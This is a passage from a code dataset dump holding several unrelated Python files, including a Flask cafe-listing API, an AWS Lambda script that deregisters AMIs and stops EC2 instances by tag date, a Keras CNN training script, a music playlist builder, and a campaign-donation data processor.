"theano.tensor.as_tensor_variable", "line_number": 92, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 92, "usage_type": "name"}, {"api_name": "theano.tensor.as_tensor_variable", "line_number": 95, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 95, "usage_type": "name"}, {"api_name": "theano.tensor.as_tensor_variable", "line_number": 98, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 98, "usage_type": "name"}, {"api_name": "theano.scan", "line_number": 154, "usage_type": "call"}, {"api_name": "pymc3.distributions.Continuous", "line_number": 166, "usage_type": "name"}, {"api_name": "pymc3.distributions.Continuous.__init__", "line_number": 236, "usage_type": "call"}, {"api_name": "pymc3.distributions.Continuous", "line_number": 236, "usage_type": "name"}, {"api_name": "theano.tensor.as_tensor_variable", "line_number": 240, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 240, "usage_type": "name"}, {"api_name": "numpy.random.normal", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 254, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 255, "usage_type": "call"}, {"api_name": "theano.tensor.vector", "line_number": 260, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 260, "usage_type": "name"}, {"api_name": "theano.tensor.diag", "line_number": 261, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 261, "usage_type": "name"}, {"api_name": "numpy.eye", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 266, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 270, "usage_type": "call"}, {"api_name": "theano.tensor.matrix", "line_number": 272, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 272, "usage_type": "name"}, {"api_name": "theano.function", "line_number": 274, "usage_type": "call"}, {"api_name": "theano.Mode", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 277, "usage_type": "call"}, {"api_name": "pymc3.Model", "line_number": 281, "usage_type": "call"}, {"api_name": "pymc3.Normal", "line_number": 284, "usage_type": "call"}, {"api_name": "pymc3.HalfStudentT", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 288, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 290, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 293, "usage_type": "call"}, {"api_name": "pymc3.sample_approx", "line_number": 299, "usage_type": "call"}]} +{"seq_id": "31780394", "text": "import sqlite3\ndef chat(msg):\n chat_message = str(msg)\n answer = \"제가 아직 모르는 말입니다.\"\n conn = sqlite3.connect('chat.db')\n conn = cur = conn.cursor()\n cur.execute(\"select * from chat\")\n rows = cur.fetchall()\n for row in rows:\n if row[0] == chat_message:\n answer = row[1]\n return(answer)\ndef teach(q,a):\n search = chat(q)\n if search != \"제가 아직 모르는 말입니다.\":\n return(\"이미 학습된 말입니다.\")\n #20180905 만들다 말음\n\nif __name__ == '__main__':\n mode = 2\n inputstr = input(\"관리자 모드입니다. - 번호를 입력하세요. \\n1. 데이터베이스 추가\\n2. 채팅 테스트\")\n if inputstr == 1: mode = 1\n if inputstr == 2: mode = 2\n if not inputstr == 1 or inputstr == 2:\n print(\"잘못된 명령입니다.\")\n exit()\n if mode == 1:\n while(True):\n in_str = input(\"채팅 모드입니다. - 채팅을 입력해보세요. - 나가기 \\q\")\n if in_str == \"\\q\":\n print(\"종료합니다.\")\n else:\n chat(in_str)\n", "sub_path": "chat_module.py", "file_name": "chat_module.py", "file_ext": "py", "file_size_in_byte": 1119, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sqlite3.connect", "line_number": 5, "usage_type": "call"}]} +{"seq_id": "268278118", "text": "from logging import error\nfrom flask import Flask, jsonify, render_template, request\nfrom flask_sqlalchemy import SQLAlchemy, sqlalchemy\nimport random\n\n\napp = Flask(__name__)\nAPI_KEY = \"SecretKey\"\n\n##Connect to Database\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///cafes.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\n\n#Cafe TABLE Configuration\nclass Cafe(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(250), unique=True, nullable=False)\n map_url = db.Column(db.String(500), nullable=False)\n img_url = db.Column(db.String(500), nullable=False)\n location = db.Column(db.String(250), nullable=False)\n seats = db.Column(db.String(250), nullable=False)\n has_toilet = db.Column(db.Boolean, nullable=False)\n has_wifi = db.Column(db.Boolean, nullable=False)\n has_sockets = db.Column(db.Boolean, nullable=False)\n can_take_calls = db.Column(db.Boolean, nullable=False)\n coffee_price = db.Column(db.String(250), nullable=True)\n\n# All records fetched from DB\ncafes = db.session.query(Cafe).all()\n\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\",cafes=cafes)\n\n# gets random coffee place\n@app.route(\"/random\") \ndef random_cafe():\n random_cafe = random.choice(cafes)\n return jsonify(\n cafe={\n \"can_take_calls\":random_cafe.can_take_calls,\n \"coffee_price\":random_cafe.coffee_price,\n \"has_sockets\":random_cafe.has_sockets,\n \"has_toilet\":random_cafe.has_toilet,\n \"has_wifi\":random_cafe.has_wifi,\n \"id\":random_cafe.id,\n \"img_url\":random_cafe.img_url,\n \"location\":random_cafe.location,\n \"map_url\":random_cafe.map_url,\n \"name\":random_cafe.name,\n \"seats\":random_cafe.seats\n }\n )\n\n# gets all the coffee place from DB\n@app.route(\"/all\")\ndef all_cafe():\n cafe_list = []\n\n for cafe in cafes:\n cafe_ = {\n \"can_take_calls\":cafe.can_take_calls,\n \"coffee_price\":cafe.coffee_price,\n \"has_sockets\":cafe.has_sockets,\n \"has_toilet\":cafe.has_toilet,\n \"has_wifi\":cafe.has_wifi,\n \"id\":cafe.id,\n \"img_url\":cafe.img_url,\n \"location\":cafe.location,\n \"map_url\":cafe.map_url,\n \"name\":cafe.name,\n \"seats\":cafe.seats\n }\n cafe_list.append(cafe_)\n\n return jsonify(cafe = cafe_list)\n\n# searches for a coffee place at mentioned location\n@app.route(\"/search\")\ndef search():\n loc = request.args.get(\"loc\") \n\n cafe_ = Cafe.query.filter_by(location=loc).first()\n\n try:\n return jsonify(\n cafe={\n \"can_take_calls\":cafe_.can_take_calls,\n \"coffee_price\":cafe_.coffee_price,\n \"has_sockets\":cafe_.has_sockets,\n \"has_toilet\":cafe_.has_toilet,\n \"has_wifi\":cafe_.has_wifi,\n \"id\":cafe_.id,\n \"img_url\":cafe_.img_url,\n \"location\":cafe_.location,\n \"map_url\":cafe_.map_url,\n \"name\":cafe_.name,\n \"seats\":cafe_.seats\n }\n )\n except AttributeError:\n return jsonify(\n error=\"Sorry, we don't have cafe at that location.\"\n ), 404\n\n# update the record of a coffee place by searching for it using id\n@app.route(\"/update-price/\")\ndef update_price(id):\n updated_price = request.args.get(\"new_price\")\n api_key = request.args.get(\"api_key\")\n\n if api_key == API_KEY:\n try:\n price_update = Cafe.query.get(int(id))\n price_update.coffee_price = updated_price\n db.session.commit()\n return jsonify(\n success=\"Succesfully updated the price\"\n ), 200\n except AttributeError:\n return jsonify(\n error={\n \"Not found\": \"Sorry no coffee house exist with that id\"\n }\n ), 404\n else:\n return jsonify(error=\"Invalid API Key\")\n\n@app.route(\"/report-closed/\")\ndef delete_record(id):\n api_key = request.args.get(\"api_key\")\n if api_key == API_KEY:\n try:\n cafe_ = Cafe.query.get(int(id))\n db.session.delete(cafe_)\n db.session.commit()\n\n return jsonify(success = \"Succesfully deleted the record\")\n except sqlalchemy.orm.exc.UnmappedInstanceError:\n return jsonify(\n error = {\n \"Not Found\": \"Sorry the id isn't valid.\"\n }\n )\n else:\n return jsonify(\n error = {\n \"Not Found\": \"Sorry the api key isn't valid.\"\n }\n )\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4796, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 83, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 83, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 104, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 111, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 111, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 111, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 112, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 112, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 112, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 123, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 133, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 133, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 133, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 140, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.sqlalchemy.orm", "line_number": 141, "usage_type": "attribute"}, {"api_name": "flask_sqlalchemy.sqlalchemy", "line_number": 141, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 142, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 148, "usage_type": "call"}]} +{"seq_id": "285629200", "text": "from __future__ import print_function\nimport boto3\nimport logging\nimport datetime\nfrom datetime import date\n\n\ndef lambda_handler(event, context):\n \n\t#CHANGE \n regions = [\"region1\", \"region2\"]\n \n for region in regions:\n ec2 = boto3.resource('ec2', region_name=region)\n ec2client = boto3.client('ec2', region_name=region)\n response = ec2client.describe_instances()\n # print(response)\n \n\t\t#CHANGE \n my_images = ec2.images.filter(Owners=[ACCOUNT_ID])\n for image in my_images:\n for tags in image.tags:\n if tags[\"Key\"] == 'RemoveOn':\n #If today is the removal date, terminate it\n if tags['Value'] == date.today().strftime('%d-%m-%Y'):\n print(\"Deregistering \" + image.id + \" in \" + region)\n ec2client.deregister_image(ImageId=image.id)\n \n for instance in ec2.instances.all():\n for tags in instance.tags:\n #If instance has a specific removal date\n if tags[\"Key\"] == 'RemoveOn':\n #If today is the removal date, terminate it\n if tags['Value'] == date.today().strftime('%d-%m-%Y'):\n print(\"Terminating EC2 \" + instance.id + \" in \" + region)\n ec2.Instance(instance.id).stop()\n #print(ec2.Instance(instance.id).stop())\n", "sub_path": "EC2Cleanup.py", "file_name": "EC2Cleanup.py", "file_ext": "py", "file_size_in_byte": 1443, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "boto3.resource", "line_number": 14, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 25, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 34, "usage_type": "name"}]} +{"seq_id": "16411001", "text": "import socket, json, psutil, multiprocessing, requests\r\n\r\nfrom flask import Flask, jsonify\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/status\")\r\ndef status():\r\n hostname = socket.gethostname()#Get hostname\r\n IP = socket.gethostbyname(hostname)#Get IP Address\r\n CPU = multiprocessing.cpu_count()\r\n RAM = psutil.virtual_memory().total / (1024.0 ** 3)\r\n return jsonify({'Hostanme' : hostname,\r\n 'IP Address' : IP,\r\n 'Amount of CPU Cores' : CPU,\r\n 'RAM in GBs' : round(RAM,3)\r\n })\r\n\r\nif __name__ == '__main__':\r\n app.run(host='127.0.0.1',port=8080, debug=True)\r\n", "sub_path": "Flask_Server.py", "file_name": "Flask_Server.py", "file_ext": "py", "file_size_in_byte": 652, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 8, "usage_type": "call"}, {"api_name": "socket.gethostbyname", "line_number": 9, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 10, "usage_type": "call"}, {"api_name": "psutil.virtual_memory", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "107050691", "text": "\n# coding: utf-8\n\n# In[ ]:\n\n\nimport keras.models\nfrom keras import backend as K\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D, AveragePooling2D\nfrom keras.utils import np_utils\nfrom keras.optimizers import Adadelta, adam\nfrom keras.callbacks import ModelCheckpoint\nimport numpy as np\nfrom keras import regularizers\nfrom keras.constraints import maxnorm\nimport matplotlib.pyplot as plt\n\n\n# In[ ]:\n\n\nX = np.load('influ_selected_model2_train_input.npy')\nY = np.load('influ_selected_model2_train_outputdim2.npy')\n\n\n# In[ ]:\n\n\n#X_test = np.load(\"/Users/TN/Desktop/influ_selected_model2_test_input.npy\")\n#Y_test = np.load(\"/Users/TN/Desktop/influ_selected_model2_test_outputdim2.npy\")\n\n\n# In[ ]:\n\n\nK.image_data_format()\n\n\n# In[ ]:\n\n\nconv_layer = [ \n # convolution and then pooling\n Conv2D(20, (7, 7), input_shape=(1024,1360,1), name='first_conv_layer',padding='valid'),\n Activation('relu'),\n MaxPooling2D(pool_size=(10, 10), padding='valid'),\n\n # convolution and then pooling\n Conv2D(25, (5, 5), name='second_conv_layer', padding='valid'),\n Activation('relu'),\n MaxPooling2D(pool_size=(6, 6), padding='valid'),\n \n # convolution and then pooling\n Conv2D(30, (3, 3), name='third_conv_layer', padding='valid'),\n Activation('relu'),\n MaxPooling2D(pool_size=(6, 6), padding='valid')\n]\n\nfc_layer = [\n # flatten and connect with three fully connected layer\n Flatten(),\n Dense(100, name='fc_layer_100_1'),\n Activation('sigmoid'),\n Dense(100, name='fc_layer_100_2',kernel_constraint= maxnorm(1.)),\n Activation('sigmoid'),\n Dense(100, name='fc_layer_100_3',kernel_regularizer=regularizers.l2(0.01)),\n Activation('sigmoid'),\n \n # conneted with smaller fully connected layer\n # with the same number of neurons as the number of classes\n Dense(2, name='fc_layer_2'),\n Activation('softmax')\n]\n\n\n# In[ ]:\n\n\nmodel = Sequential(conv_layer + fc_layer)\nmodel.compile(loss=\"binary_crossentropy\",\n optimizer=adam(lr=0.0001),\n metrics=['accuracy'])\n\n\n# In[ ]:\n\n\nmodel.summary()\n\n\n# In[ ]:\n\n\nfilepath=\"influ_0816_filter-{epoch:02d}-acc_{acc:.2f}.hdf5\"\ncheckpoint = ModelCheckpoint(filepath, monitor='acc', verbose=1, save_best_only=True, save_weights_only=True, mode='auto')\ncallbacks_list = [checkpoint]\n\n\n# In[ ]:\n\n\nhistory = model.fit(X, Y, batch_size=15, epochs=1200, callbacks=callbacks_list, verbose=1, validation_split=0.2, shuffle=True)\n\n\n# In[ ]:\n\n\nmodel.save_weights('0816_influ_filter_model2.h5')\nmodel.save('0816_influ_filter_model_2')\n\n\n# In[ ]:\n\n\nplt.plot(history.history['loss'])\n\nplt.plot(history.history['val_loss'])\n\nplt.title(\"model 2 loss\")\n\nplt.ylabel(\"loss\")\n\nplt.xlabel(\"epoch\")\n\nplt.legend([\"train\",\"test\"],loc=\"upper left\")\n\nplt.savefig(\"model_2_loss\")\n\nplt.savefig(\"model_2_loss.pdf\")\n\nplt.close('all')\n\n# In[ ]:\n\n\nplt.plot(history.history['acc'])\n\nplt.plot(history.history['val_acc'])\n\nplt.title(\"model 2 acc\")\n\nplt.ylabel(\"acc\")\n\nplt.xlabel(\"epoch\")\n\nplt.legend([\"train\",\"test\"],loc=\"upper left\")\n\nplt.savefig(\"model_2_acc\")\n\nplt.savefig(\"model_2_acc.pdf\")\n\nplt.close('all')\n\n\n\n\nplt.plot(history.history['loss'])\n\nplt.plot(history.history['val_loss'])\n\nplt.plot(history.history['acc'])\n\nplt.plot(history.history['val_acc'])\n\nplt.title(\"model 2 \")\n\nplt.ylabel(\"loss/acc\")\n\nplt.xlabel(\"epoch\")\n\nplt.legend([\"train_loss\",\"test_loss\",\"train_acc\",\"test_acc\"],loc=\"upper left\")\n\nplt.savefig(\"model_2\")\n\nplt.savefig(\"model_2.pdf\")\n\nplt.close('all')\n\n\n\n\n", "sub_path": "Training2/influ_CPE_0816_training2.py", "file_name": "influ_CPE_0816_training2.py", "file_ext": "py", "file_size_in_byte": 3545, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.load", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 25, "usage_type": "call"}, {"api_name": "keras.backend.image_data_format", "line_number": 38, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 38, "usage_type": "name"}, {"api_name": "keras.layers.Conv2D", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 47, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 52, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 57, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 58, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 63, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 66, "usage_type": "call"}, {"api_name": "keras.constraints.maxnorm", "line_number": 66, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.regularizers.l2", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.regularizers", "line_number": 68, "usage_type": "name"}, {"api_name": "keras.layers.Activation", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 73, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 81, "usage_type": "call"}, {"api_name": "keras.optimizers.adam", "line_number": 83, "usage_type": "call"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 159, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}]} +{"seq_id": "457463419", "text": "from mutagen.easyid3 import EasyID3\nfrom musicmodifier.utilities import file_iterator\nfrom musicmodifier.artist import Artist\nfrom musicmodifier.album import Album\nfrom musicmodifier.track import Track\n\n\nclass Playlist:\n _counter = 0\n\n def __init__(self, directory):\n self._name = 'playlist'\n self._directory = directory\n self._all_artists = []\n Playlist._counter += 1\n self._create_playlist()\n\n def _create_playlist(self):\n file_paths = file_iterator(self._directory)\n for path in file_paths:\n self._create_info(path)\n\n def _create_info(self, path):\n audio = EasyID3(path)\n title = ''.join(audio['title'])\n artist = ''.join(audio['artist'])\n album = ''.join(audio['album'])\n track_info = {'title': title, 'artist': artist, 'album': album, 'path': path}\n self._create_artist(track_info)\n\n def _create_artist(self, track_info):\n artist_name = track_info.get('artist')\n artist = self._check_exists(artist_name, self.get_artists())\n if not artist:\n artist_path = track_info.get('path').rsplit('\\\\', 2)[0]\n artist = Artist(artist_name, artist_path)\n self._add_artist(artist)\n self._create_album(track_info, artist)\n\n def _create_album(self, track_info, artist):\n album_name = track_info.get('album')\n album = self._check_exists(album_name, artist.get_albums())\n if not album:\n album_path = track_info.get('path').rsplit('\\\\', 1)[0]\n album = Album(album_name, album_path)\n artist.add_album(album)\n self._create_track(track_info, album)\n\n def _create_track(self, track_info, album):\n track_name = track_info.get('title')\n track = self._check_exists(track_name, album.get_tracks())\n if not track:\n track_path = track_info.get('path')\n track = Track(track_name, track_path)\n album.add_track(track)\n\n def _add_artist(self, artist):\n self._all_artists.append(artist)\n\n def get_name(self):\n return self._name\n\n def set_name(self, name):\n self._name = name\n\n def get_directory(self):\n return self._directory\n\n def get_artists(self):\n return self._all_artists\n\n @staticmethod\n def _check_exists(name, array):\n for item in array:\n if item.get_name() == name:\n return item\n return None\n\n @staticmethod\n def get_counter():\n return Playlist._counter\n", "sub_path": "musicmodifier/playlist.py", "file_name": "playlist.py", "file_ext": "py", "file_size_in_byte": 2541, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "musicmodifier.utilities.file_iterator", "line_number": 19, "usage_type": "call"}, {"api_name": "mutagen.easyid3.EasyID3", "line_number": 24, "usage_type": "call"}, {"api_name": "musicmodifier.artist.Artist", "line_number": 36, "usage_type": "call"}, {"api_name": "musicmodifier.album.Album", "line_number": 45, "usage_type": "call"}, {"api_name": "musicmodifier.track.Track", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "12711027", "text": "import csv, re\nfrom collections import defaultdict\nimport numpy as np\n\ndateformat = re.compile(r'[0-9]{8}\\b')\nzipformat = re.compile(r'[0-9]{5}\\b')\nnameformat = re.compile(r'[A-Za-z,\\s]+')\n\ndef find_repeat_donors(INDIV_Data_Headers):\n\n donor_dict = defaultdict(list)\n recipient_dict = defaultdict(list)\n\n inputdata = 'input/itcont.txt'\n with open(inputdata, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter='|')\n for index, line in enumerate(csvreader):\n if not check_record_legal(line, INDIV_Data_Headers):\n print('Line {} in {} is invalid.'.format(index+1, inputdata))\n else:\n CmetId, Name, ZipCode, TransactionDate, TransactionAmount, OtherID = extract_fields(line, INDIV_Data_Headers)\n # Use the combination to identify a unique donor\n DonorId = re.sub(r',?\\s+', '_', Name) + '_' + ZipCode\n\n TransactionYear = TransactionDate[4:]\n donor_dict[DonorId].append(int(TransactionYear))\n\n # Reference: https://stackoverflow.com/a/39537308/2709595\n target = TransactionYear + '_' + CmetId + '_' + ZipCode\n recipient_dict[target].append(int(TransactionAmount))\n\n repeat_donor_latest_year = {}\n\n for DonorId, years in donor_dict.items():\n if len(years) > 1:\n # Save the latest calendar year only\n repeat_donor_latest_year[DonorId] = str(max(years))\n\n return repeat_donor_latest_year, recipient_dict\n\ndef extract_fields(line, INDIV_Data_Headers):\n\n # Recipient of contribution\n CmetId = line[INDIV_Data_Headers.index('CMTE_ID')]\n # Name of the donor\n Name = line[INDIV_Data_Headers.index('NAME')]\n # Zip code of contributor (use the first five digits/characters)\n ZipCode = line[INDIV_Data_Headers.index('ZIP_CODE')][:5]\n # Date of transaction\n TransactionDate = line[INDIV_Data_Headers.index('TRANSACTION_DT')]\n # Amount of transaction\n TransactionAmount = line[INDIV_Data_Headers.index('TRANSACTION_AMT')]\n # Whether contribution came from a person or an entity\n OtherID = line[INDIV_Data_Headers.index('OTHER_ID')]\n\n return CmetId, Name, ZipCode, TransactionDate, TransactionAmount, OtherID\n\ndef check_record_legal(line, INDIV_Data_Headers):\n \n CmetId, Name, ZipCode, TransactionDate, TransactionAmount, OtherID = extract_fields(line, INDIV_Data_Headers)\n\n if (OtherID is '') and (TransactionDate is not '') and (dateformat.match(TransactionDate)) and (ZipCode is not '') and (zipformat.match(ZipCode)) and (Name is not '') and (nameformat.match(Name)) and (CmetId is not '') and (TransactionAmount is not ''):\n return True\n else:\n return False\n\ndef read_percentile():\n\n with open('input/percentile.txt') as f:\n percentile = f.readline()\n # 1-100\n if 1 <= float(percentile) <= 100:\n return percentile\n else:\n print('The percentile input is invalid.')\n return None\n\ndef calculate_running_percentile(contributions, percentile):\n\n # Reference: https://stackoverflow.com/a/26071170/2709595\n idx = float(percentile) / 100 * (len(contributions) - 1)\n idx = int(idx + 0.5)\n return round(contributions[np.argpartition(contributions, idx)[idx]])\n\ndef main():\n\n # Source: 